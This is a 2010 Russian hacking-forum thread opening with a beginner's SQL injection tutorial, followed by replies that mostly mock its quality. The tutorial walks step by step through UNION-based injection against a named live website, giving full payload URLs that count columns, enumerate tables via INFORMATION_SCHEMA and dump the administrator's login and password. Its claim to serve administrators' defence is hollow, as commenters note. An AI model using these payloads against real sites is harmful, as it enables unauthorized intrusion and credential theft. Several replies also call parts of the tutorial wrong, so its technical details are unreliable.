Авторские статьи SQL Injection для "совсем новичков"

Discussion in 'Статьи' started by Boa, 17 Jul 2010.

  1. Boa

    Boa Member

    Joined:
    30 May 2010
    Messages:
    86
    Likes Received:
    29
    Reputations:
    18
    Моя первая статья. :) Вообще, я сторонник всевозможных уроков «Дилетантам от дилетанта». Я сам не так давно начал практиковать SQL-инъекции, и именно поэтому, пока еще свежи воспоминания о том, в чем у меня были проблемы, я постараюсь изложить основы наиболее понятным новичку языков. Опытным хакерам-дедам просьба не беспокоиться. :) Также, я прекрасно знаю, что тема изъезжена вдоль и поперек и что статей по ней великое множество. Но, тем не менее, я хочу претендовать на то, что моя будет самой понятной. Я совсем не хочу поместить в статью все тонкости и нюансы, просто хочу рассказать основы, необходимые для понимания более полных и профессиональных статей.

    Благодарности:

    Konqi , ибо именно у него я консультировался в самом начале пути;

    Авторам этих статей:
    SQL injection и заливка шелла
    SQL injection полный FAQ

    Итак, приступим.
    Что такое SQL Injection? Это внедрение злоумышленником постороннего SQL-кода при помощи составлении специального URL (адреса, для танкистов). Найти уязвимость очень просто. Как – покажу на примере. Здесь у нас, кстати, рассматриваются MySQL базы данных (далее – БД), причем пятой версии.
    Code:
    http://www.td-vezdehod.ru/news.php?id=774
    Казалось бы, что такого особенного в этой странице? 774 – это значение переменной id. Давайте попробуем сунуть к этому значению кавычку:
    Code:
    http://www.td-vezdehod.ru/news.php?id=774'
    Хм, новости исчезли. Теперь давайте попробуем выполнить арифметическое действие:
    Code:
    http://www.td-vezdehod.ru/news.php?id=775-1
    Отображается то же самое, что и при id=774. Это хорошо. Мы можем с уверенностью сказать, что здесь имеет место быть уязвимость. Кстати, очень важный момент. В этом примере при подстановке кавычки на странице исчезают новости, которые там по идее должны быть – это значит, что вывод ошибок отключен. Но чаще, когда мы находим уязвимость, получается ошибка навроде «1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” ORDER BY p.pid DESC LIMIT 0, 20′ at line 12». Почему же для базы данных наш запрос – ошибочен? Сейчас объясню. Запрос к БД, допустим, выглядит так:
    Code:
    SELECT * FROM news WHERE id='774'
    (Если не понимаете логики запроса – «Выбрать все из news где id='774'»). А что получилось, когда мы подставили кавычку?
    Code:
    SELECT * FROM news WHERE id='774''. 
    Логика и синтаксис полетели к чертям и БД не может понять, что мы требуем.
    Вы не забыли, что цель SQL-инъекции – сделать свой запрос? Так вот, делать мы его будем при помощи оператора UNION – он служит для объединения двух запросов в один. Но прежде нюанс – количество столбцов до этого UNION и после должно соответствовать. Пока особо в это не вдумывайтесь, это теория, потом поймете. Будем подбирать количество столбцов при помощи оператора ORDER BY. Еще сверхважный момент – при составлении url вместо пробела пишите плюс. И вот еще – в MySQL начало комментария обозначается двойным дефисом --, причем до и после него должен быть пробел (помните про плюс?). Я также читал, что комментарий обозначается /*, не знаю, если честно, в чем отличия. Ну, на всякий случай, давайте дописывать в конец url знак начала комментария. Итак, начинаем подбирать количество столбцов вот так:

    Code:
    http://www.td-vezdehod.ru/news.php?id=774+order+by+30+--+   Ничего.
    http://www.td-vezdehod.ru/news.php?id=774+order+by+10+--+   Содержимое отображается.
    http://www.td-vezdehod.ru/news.php?id=774+order+by+20+--+   Отображается.
    http://www.td-vezdehod.ru/news.php?id=774+order+by+25+--+   Ничего.
    http://www.td-vezdehod.ru/news.php?id=774+order+by+22+--+   Отображается.
    http://www.td-vezdehod.ru/news.php?id=774+order+by+23+--+   Ничего. 
    Крайнее число – 22, стало быть, столбцов 22. Если не поняли – при написании числа, меньшего или равного количеству столбцов, содержимое отображается, а при написании числа, большего, чем количество столбцов, ошибка.
    Теперь, собственно, UNION. Перед этим лучше поставьте значение id=-1 или допишите что-нибудь ложное, например, 1=0, чтобы содержимое не отображалось и не мешало думать.
    Code:
    http://www.td-vezdehod.ru/news.php?id=774+and+1=0+--+
    Ничего не отображается, естественно.
    Сейчас нам нужно узнать версию MySQL. Для этого есть функция version(). Узнаем версию мы так:
    Code:
    http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
    Вы ведь помните, что у нас 22 столбца?
    Отображается какая-то фигня) В том числе такое большое красивое число 19. И вместо числа 19 в url подставляем нашу функцию version():
    Code:
    http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22+--+
    Версия 5, отлично! Почему отлично? Потому что в MySQL пятой версии есть такая замечательная штука, как INFORMATION_SCHEMA.TABLES, которая содержит имена всех таблиц БД! И если к ней есть доступ, мы сможем подсмотреть имена таблиц:
    Code:
    http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(table_name),20,21,22+from+INFORMATION_SCHEMA.TABLES+--+
    Обратите внимание на group_concat(table_name)вместо того же числа 19. Если написать просто table_name, то почти наверняка отобразится одно название и все. А нам нужны все. Результат такого запроса – вывод имен всех таблиц. Теперь просто смотрим на имена и предполагаем, в какой таблице лежит то, что нам нужно. Допустим, нам нужен логин и пароль администратора. Замечаем таблицу AdminSite – давайте посмотрим, что в ней за столбцы. Делаем вот так:
    Code:
    http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=AdminSite+--+
    INFORMATION_SCHEMA.COLUMNS, обратите внимание. Не тейблс. И не забудьте «где имя таблицы = AdminSite». Так, а что же такое? Пустота. А давайте попробуем использовать такую замечательную вещь, как CHAR. Ищем любой ascii конвертер. Возьмем этот. Вбиваем AdminSite, ниже показывается «65 100 109 105 110 83 105 116 101». Быстренько пихаем в ворд и делаем замену пробелов на запятые. Потом составляем такой url:
    Code:
    http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=CHAR(65,100,109,105,110,83,105,116,101)+--+
    Я думаю, вы заметили – CHAR(AdminSite в ascii). Теперь получилось! Итак, у нас есть имена столбцов. Теперь приступаем к самому сладкому - мы видим столбцы «login» и «passw». Очевидно, что в них хранится логин и пароль админа. Делаем такой url:
    Code:
    http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(login,0x3a,passw),20,21,22+from+AdminSite+--+
    Обратите внимание на 0x3a между «login» и «passw». Это двоеточие в hex, если написать там просто двоеточие, не выйдет. Итак, на страницу выводится логин и пароль админа. Ура! Но вот важное замечание: хранить пароли в БД в открытом виде довольно небезопасно, поэтому чаще можно извлечь не пароли, а хеши, которые еще нужно расшифровать. Тут много вариантов – попросить на Античате, попробовать онлайн-сервисы, побрутить самому.
    Вот, собственно, и все. Надеюсь, моя статейка поможет кому-то. Имхо, SQL инъекции идеальны для начинающего хацкера :)

    Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций. За использование полученных из статьи сведений автор отвественности не несет!

    Спасибо за внимание, жду аргументированной критики и вопросов)
     
    #1 Boa, 17 Jul 2010
    Last edited: 17 Jul 2010
    Ferdinand, ~d0s~, randman and 18 others like this.
  2. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Так вот значит откуда на античате столько дилетантов. :(
    Совершенно бестолковая и ненужная статья.
    Да, это конечно сильно, для каждого пука на сайт заходить.
    Лучше бы написал статью про HackBar, что ли..
     
  3. Boa

    Boa Member

    Joined:
    30 May 2010
    Messages:
    86
    Likes Received:
    29
    Reputations:
    18
    :)
    Статья предназначена исключительно для новичков. Она носит характер обучающе-окунающий и подготавливает новичка для прочтения SQL injection полный FAQ, например.
     
  4. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Эта статья носит хакактер "как проэксплуатировать sql инъекцию на сайте www.td-vezdehod.ru". Ну и в первом посте ты так же пишешь "Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций", но ни одного слова именно про то, как уберечься, я не увидел.
     
    1 person likes this.
  5. Boa

    Boa Member

    Joined:
    30 May 2010
    Messages:
    86
    Likes Received:
    29
    Reputations:
    18
    Этот сайт взят только в качестве примера.
    Глупая придирка, ибо в абсолютном большинстве случаев это пишется "на всякий случай".
     
    1 person likes this.
  6. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    и.....? что получается, мы видим, а что это за собой влечёт, новичку врятли понятно.
     
  7. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Отличная статья, просто шедевр! Я по ней хекингу учился, всем советую" Поднимите свой уровень хакерской догадки до уровней небес! Атвичаю.
     
  8. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    лучше бы запостить эту статью не на Ачате а на HackZone-e или т.п.
    Boa конечно старание оцениваются, но таких статей здесь море
     
    _________________________
  9. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Урезанная версия статьи Dr.Z3r0 (https://forum.antichat.ru/thread43966.html)
    Ну уж на авторскую никак не тянет...

    Что-то я не увидел ни одного совета "всевозможным администраторам" как "уберечься от SQL-инъекций"
     
  10. Boa

    Boa Member

    Joined:
    30 May 2010
    Messages:
    86
    Likes Received:
    29
    Reputations:
    18
    Уже говорилось :)
    Spyder, м?
    Konqi, запощу, пожалуй :)
     
    2 people like this.
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Boa, что м? Ты же сам никакого представления об инъекциях не имеешь. Зачем статью писать?
     
  12. Boa

    Boa Member

    Joined:
    30 May 2010
    Messages:
    86
    Likes Received:
    29
    Reputations:
    18
    Spyder,
    Человеку проще передать то, что он сам узнал совсем недавно.
     
  13. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Согласен со Spyder'ом, зачем вводить людей в заблуждение, особенно на их начальном этапе, если ты еще сам пока до конца не понимаешь принцип проведения sql иньекций?
     
  14. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Boa, ну а потом такие дилетанты, вроде тебя, начитавшись хакерских статей, как твоя, начинают
    при составлении url вместо пробела писать плюс, ставить до и после комментария пробел, ставят /* - но не знают в чем отличия и так далее
     
  15. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    Чемодан =/, юморим по хакерски, etc
    Твоя информация не достоверна.
    Пусть все знают. Пробел используется ламерами, а плюс хакерами.
    Да что там дальше смотреть... Садись, два! Где мой коньяк?

    Не обижайся, статья-говно. И совсем новичек прочитав эту статью на каком-то этапе впадет в депрессию.
     
    1 person likes this.
  16. vitaliy-den

    vitaliy-den Member

    Joined:
    2 Dec 2009
    Messages:
    0
    Likes Received:
    5
    Reputations:
    5
    Вполне нормальная статейка для начинающих - всё показано на практике.
     
  17. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Да ну? xD
     
  18. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    мдя..
    давай угадаю, купил комп, потом инет
    и через 2 месяца (видно по реги) пишешь статью в которой новичок даже не сможет понять отличие между order by и group by и думаешь что тут есть что-то полезное в этой ужасной статье?
    (другого слова не смог подобрать) как видно "http://www.td-vezdehod.ru/" твой первый мега взлом ахЪ?
    поздравляю ты теперь мастер среди всех новичков-нубов...
    и еще кое чо мастер, проясни своим знанием почему когда я хецкаю сайты по твоему супер охеренному варианту 774+and+1=0+...........
    то с запросам and+1=0 у меня не ломается сайтег? :mad:
    других вариантав ты мне не дать, и мое теперь не знать как ломать WWW ((((
     
    #18 Дирижабль, 22 Jul 2010
    Last edited: 22 Jul 2010
  19. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Уважаемый ТС, что это за чудо-запросы?
    table_name=AdminSite как я понял - это приватный метод обхода magic_quotes, а + зачем? Я вот уже замечаю в который раз, что перед комментарием ставят такой плюсик, это для чего? =\

    Это почему же?

    ТС - написание статей - это хорошо, но на эти ошибки уже указывали, нужно их исправить! Если бы ты показал банальную раскрутку скули, но правильно - я бы слова не сказал! Вы просто не понимаете ответственность за такие статьи, сейчас придет новичок, прочтет статью и пойдет ломать интернеты по статье с ошибками! =(
     
  20. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    Таких статей море. Эта статья, я думаю, была не нужна. Хватит и этой в ней более обширно написано, и есть почти всё, что и в этой статье.
     
    1 person likes this.